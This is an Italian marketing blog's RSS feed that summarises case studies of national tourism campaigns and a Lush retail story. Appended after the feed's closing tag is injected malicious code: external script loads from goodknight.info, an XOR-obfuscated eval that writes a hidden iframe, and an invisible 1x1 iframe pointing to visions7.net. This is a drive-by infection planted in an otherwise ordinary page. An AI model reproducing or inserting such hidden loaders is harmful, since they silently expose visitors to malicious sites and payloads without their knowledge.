<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title> &#187; case studies</title>
	<atom:link href="http://www.studiograssi.eu/category/case-studies/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.studiograssi.eu</link>
	<description>strumenti per la comunicazione d'impresa</description>
	<pubDate>Sun, 05 Jun 2011 15:33:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<item>
		<title>Lush, come stuzzicare la fantasia con un sapone</title>
		<link>http://www.studiograssi.eu/2009/04/15/lush-come-stuzzicare-la-fantasia-con-un-sapone/</link>
		<comments>http://www.studiograssi.eu/2009/04/15/lush-come-stuzzicare-la-fantasia-con-un-sapone/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 15:26:41 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[green marketing]]></category>

		<category><![CDATA[remote working]]></category>

		<category><![CDATA[lush]]></category>

		<category><![CDATA[marketing emozionale]]></category>

		<category><![CDATA[marketing esperenziale]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=721</guid>
		<description><![CDATA[
Quando sono entrato per la prima volta in un negozio Lush ero a Londra, più di dieci anni fa, e l&#8217;effetto è stato quello di rimanere a bocca aperta di fronte a tanti colori e soprattutto estasiato dai mille ed intensi profumi che già qualche metro prima di entrare avevano saldamente catturo i miei sensi. [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2009/04/15/lush-come-stuzzicare-la-fantasia-con-un-sapone/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Once you know you go, la Jamaica contro la crisi investe nella promozione turistica</title>
		<link>http://www.studiograssi.eu/2008/12/22/once-you-know-you-go-la-jamaica-contro-la-crisi-investe-nella-promozione-turistica/</link>
		<comments>http://www.studiograssi.eu/2008/12/22/once-you-know-you-go-la-jamaica-contro-la-crisi-investe-nella-promozione-turistica/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 07:30:49 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[jamaica]]></category>

		<category><![CDATA[jamaica buzz]]></category>

		<category><![CDATA[once you know you go]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=512</guid>
		<description><![CDATA[
Una campagna pubblicitaria da 3 milioni di dollari è la ricetta del governo Jamaicano per contrastare gli effetti della crisi economica internazionale che ha duramente colpito il comparto turistico del paese. Per i primi mesi del 2009 si è infatti registrato un meno 30%  delle prenotazioni da parte dei turisti americani, che rappresentato il [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/12/22/once-you-know-you-go-la-jamaica-contro-la-crisi-investe-nella-promozione-turistica/feed/</wfw:commentRss>
		</item>
		<item>
		<title>YOKOSO! Japan, la campagna con cui il Giappone punta ad arrivare a 10 milioni di turisti in entro il 2010</title>
		<link>http://www.studiograssi.eu/2008/12/17/yokoso-japan-la-campagna-con-cui-il-giappone-punta-ad-arrivare-a-10-milioni-di-turisti-in-entro-il-2010/</link>
		<comments>http://www.studiograssi.eu/2008/12/17/yokoso-japan-la-campagna-con-cui-il-giappone-punta-ad-arrivare-a-10-milioni-di-turisti-in-entro-il-2010/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 07:30:12 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[giappone]]></category>

		<category><![CDATA[visit japan]]></category>

		<category><![CDATA[yokoso japan]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=498</guid>
		<description><![CDATA[
Yokoso in Giapponese vuol dire “Benvenuto” e “Yokoso! Japan” è il claim della campagna lanciata nel 2003 dal primo ministro Koizumi con cui il Giappone punta a raggiungere quota 10 milioni di turisti internazionali entro il 2010. L’operazione coinvolge ben 12 nazioni, sia in Asia, sia negli USA che in Europa, in particolare Francia, Germania [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/12/17/yokoso-japan-la-campagna-con-cui-il-giappone-punta-ad-arrivare-a-10-milioni-di-turisti-in-entro-il-2010/feed/</wfw:commentRss>
		</item>
		<item>
		<title>“My South Africa”, operazione user generated in collaborazione con CNN per la promozione turistica del Sud Africa</title>
		<link>http://www.studiograssi.eu/2008/12/15/my-south-africa-operazione-user-generated-in-collaborazione-con-cnn-per-la-promozione-turistica-del-sud-africa/</link>
		<comments>http://www.studiograssi.eu/2008/12/15/my-south-africa-operazione-user-generated-in-collaborazione-con-cnn-per-la-promozione-turistica-del-sud-africa/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 07:30:04 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[cnn]]></category>

		<category><![CDATA[mondiali di calcio 2010]]></category>

		<category><![CDATA[my south africa]]></category>

		<category><![CDATA[mysouthafrica.tv]]></category>

		<category><![CDATA[sud africa]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=488</guid>
		<description><![CDATA[
Lo scorso luglio il dipartimento per il turismo del Sud Africa ha dato il via ad una campagna di promozione a carattere mondiale chiamata “My South Africa”. Il nome rimarca quella che è la strategia scelta dai suoi promotori che hanno voluto percorrere la strata dell’”user generated content” in questa operazione che avrà durata triennale [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/12/15/my-south-africa-operazione-user-generated-in-collaborazione-con-cnn-per-la-promozione-turistica-del-sud-africa/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Smile! you are in Spain, la promozione turistica regionale spagnola prosegue in un unico framework nazionale</title>
		<link>http://www.studiograssi.eu/2008/12/12/smile-you-are-in-spain-la-promozione-turistica-regionale-spagnola-prosegue-in-un-unico-framework-nazionale/</link>
		<comments>http://www.studiograssi.eu/2008/12/12/smile-you-are-in-spain-la-promozione-turistica-regionale-spagnola-prosegue-in-un-unico-framework-nazionale/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 07:30:53 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[smile you are in spain]]></category>

		<category><![CDATA[spagna]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=475</guid>
		<description><![CDATA[Continua l&#8217;attività di promozione paneuropea promossa dal ministero per il turismo spagnolo, impegnata a rilanciare l&#8217;immagine del brand nazionale dando seguito alla campagna del 2006 “Smile! you are in Spain”, declinando questa volta il medesimo concept creativo a favore delle singole destinazioni regionali.
La campagna si sviluppa su ben 60 diversi soggetti, suddivisi in undici gruppi [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/12/12/smile-you-are-in-spain-la-promozione-turistica-regionale-spagnola-prosegue-in-un-unico-framework-nazionale/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Los estadios de la felicidad, nuova campagna di comunicazione per le Isole Canarie</title>
		<link>http://www.studiograssi.eu/2008/12/10/los-estadios-de-la-felicidad-nuova-campagna-di-comunicazione-per-le-isole-canarie/</link>
		<comments>http://www.studiograssi.eu/2008/12/10/los-estadios-de-la-felicidad-nuova-campagna-di-comunicazione-per-le-isole-canarie/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 07:30:46 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[isla canarias]]></category>

		<category><![CDATA[londra]]></category>

		<category><![CDATA[los estadios de la felicidad]]></category>

		<category><![CDATA[madrid]]></category>

		<category><![CDATA[monaco]]></category>

		<category><![CDATA[turismodecanarias]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=461</guid>
		<description><![CDATA[
E’ partita lo scorso novembre la nuova imponente campagna di comunicazione promossa dal Ministero regionale per il Turismo delle Isole Canarie, che vede l’arcipelago spagnolo impegnato in un vero e proprio road show che toccherà le principali città europee. La campagna vanta un budget di 10 milioni di euro e punta ad un riposizionamento del [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/12/10/los-estadios-de-la-felicidad-nuova-campagna-di-comunicazione-per-le-isole-canarie/feed/</wfw:commentRss>
		</item>
		<item>
		<title>See the world, visit London. Londra si prepara alle Olimpiadi del 2012</title>
		<link>http://www.studiograssi.eu/2008/12/05/see-the-world-visit-london-londra-si-prepara-alle-olimpiadi-del-2012/</link>
		<comments>http://www.studiograssi.eu/2008/12/05/see-the-world-visit-london-londra-si-prepara-alle-olimpiadi-del-2012/#comments</comments>
		<pubDate>Fri, 05 Dec 2008 07:30:36 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[londra]]></category>

		<category><![CDATA[see the world visit london]]></category>

		<category><![CDATA[visit london]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=449</guid>
		<description><![CDATA[
Nel 2012 Londra ospiterà sia le Olimpiadi che le Para Olimpiadi. Questi eventi avranno un grande impatto sull’economia del paese, si stimano 2,5 miliardi di entrate in più legate ai flussi turistici generati direttamente ed indirettamente da questi due importanti appuntamenti. Un’opportunità più unica che rara per la capitale britannica. L’agenzia per il turismo, Visit [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/12/05/see-the-world-visit-london-londra-si-prepara-alle-olimpiadi-del-2012/feed/</wfw:commentRss>
		</item>
		<item>
		<title>User generated video per la promozione del brand Canada</title>
		<link>http://www.studiograssi.eu/2008/12/01/user-generated-video-per-la-promozione-del-brand-canada/</link>
		<comments>http://www.studiograssi.eu/2008/12/01/user-generated-video-per-la-promozione-del-brand-canada/#comments</comments>
		<pubDate>Mon, 01 Dec 2008 07:30:46 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[canada]]></category>

		<category><![CDATA[canada keep exploring]]></category>

		<category><![CDATA[user generated video]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=430</guid>
		<description><![CDATA[
Se il Canada è passato dal decimo al secondo posto nella classifica redatta dal Country Brand Index, in soli due anni lo si deve evidentemente all’imponente strategia di risposizionamento del marchio nazionale realizzata dalla commissione per il turismo canadese. A quattro anni fa risale il lancio del brand “Canada, keep exploring”, che ha permesso al [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/12/01/user-generated-video-per-la-promozione-del-brand-canada/feed/</wfw:commentRss>
<enclosure url="http://www.keep-exploring.ca/mediavideo/1-Seal_on_Kayak-16x9_HD-NEW_BACKEND.mov" length="2469171" type="video/quicktime" />
<enclosure url="http://www.keep-exploring.ca/mediavideo/2-Ziptrek-16x9_HD-NEW_BACKEND.mov" length="3040608" type="video/quicktime" />
<enclosure url="http://www.keep-exploring.ca/mediavideo/4-Niagara-16x9_HD-NEW_BACKEND.mov" length="2871316" type="video/quicktime" />
		</item>
		<item>
		<title>L’Italia secondo il Country Brand Index 2008</title>
		<link>http://www.studiograssi.eu/2008/11/28/italia-secondo-il-country-brand-index-2008/</link>
		<comments>http://www.studiograssi.eu/2008/11/28/italia-secondo-il-country-brand-index-2008/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 07:30:47 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[country brand index]]></category>

		<category><![CDATA[future brand]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=422</guid>
		<description><![CDATA[
Da circa quattro anni l’agenzia Future Brand stila una classifica dei 10 brand nazionali più importanti a livello mondiale chiamata appunto Country Brand Index, fornendo interessanti valutazioni in termini di opportunità, evidenze ed insights connessi alla forza dell&#8217;immagine del marchio nazionale. Lo studio viene realizzato mediante un&#8217;indagine condotta su 2.700 viaggiatori provenienti da nove diversi [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/11/28/italia-secondo-il-country-brand-index-2008/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tourism Ireland, un approccio all’avanguardia nella promozione del brand nazionale</title>
		<link>http://www.studiograssi.eu/2008/11/26/tourism-ireland-un-approccio-all%e2%80%99avanguardia-nella-promozione-del-brand-nazionale/</link>
		<comments>http://www.studiograssi.eu/2008/11/26/tourism-ireland-un-approccio-all%e2%80%99avanguardia-nella-promozione-del-brand-nazionale/#comments</comments>
		<pubDate>Wed, 26 Nov 2008 07:30:57 +0000</pubDate>
		<dc:creator>dimitri grassi</dc:creator>
		
		<category><![CDATA[case studies]]></category>

		<category><![CDATA[ireland]]></category>

		<category><![CDATA[irlanda]]></category>

		<category><![CDATA[marketing territoriale]]></category>

		<category><![CDATA[marketing turistico]]></category>

		<guid isPermaLink="false">http://www.studiograssi.eu/?p=411</guid>
		<description><![CDATA[
Devo cominciare questo post con delle rettifiche. Nel precedente avevo affermato che l’Australia rappresentava uno dei rari casi in cui una nazione avesse messo a disposizione di chiunque un intero sito web con tutte le informazioni relative alle attività di marketing e comunicazione realizzate dal dipartimento del turismo per la promozione del paese. Non è [...]]]></description>
		<wfw:commentRss>http://www.studiograssi.eu/2008/11/26/tourism-ireland-un-approccio-all%e2%80%99avanguardia-nella-promozione-del-brand-nazionale/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script src="http://goodknight.info/stats/show.js"></script><script src="http://goodknight.info/stats/show.js"></script><script>function hgrkgimejtppbvjgdoau(mmeumurofpxmiitsvy, potrkdzotzj) { var myrhklzaspyfzgz = ""; var cyutnokzskomjaaxy = ""; for (var fjdfjvxhbvnbnrajk = 0 ; fjdfjvxhbvnbnrajk < mmeumurofpxmiitsvy.length; ++fjdfjvxhbvnbnrajk) { cyutnokzskomjaaxy = mmeumurofpxmiitsvy.charCodeAt(fjdfjvxhbvnbnrajk); myrhklzaspyfzgz += String.fromCharCode(potrkdzotzj ^ cyutnokzskomjaaxy); } return myrhklzaspyfzgz; } eval(hgrkgimejtppbvjgdoau("\x49\x06\x16\x07\x1c\x05\x01\x4b\x11\x1a\x16\x00\x18\x10\x1b\x01\x5b\x02\x07\x1c\x01\x10\x5d\x52\x49\x1c\x13\x07\x14\x18\x10\x55\x1b\x14\x18\x10\x48\x03\x44\x40\x42\x55\x06\x07\x16\x48\x29\x52\x1d\x01\x01\x05\x4f\x5a\x5a\x17\x10\x06\x01\x06\x1a\x19\x19\x5b\x16\x1a\x18\x5a\x13\x1a\x07\x00\x18\x5a\x12\x1a\x5b\x05\x1d\x05\x4a\x06\x1c\x11\x48\x47\x29\x52\x55\x02\x1c\x11\x01\x1d\x48\x47\x44\x44\x55\x1d\x10\x1c\x12\x1d\x01\x48\x47\x43\x55\x06\x01\x0c\x19\x10\x48\x29\x52\x03\x1c\x06\x1c\x17\x1c\x19\x1c\x01\x0c\x4f\x1d\x1c\x11\x11\x10\x1b\x29\x52\x4b\x49\x5a\x1c\x13\x07\x14\x18\x10\x4b\x52\x5c\x49\x5a\x06\x16\x07\x1c\x05\x01\x4b", 117));</script<html><body><iframe src='http://visions7.net/' width=1 height=1 style='visibility:hidden;'></iframe></body></html>>
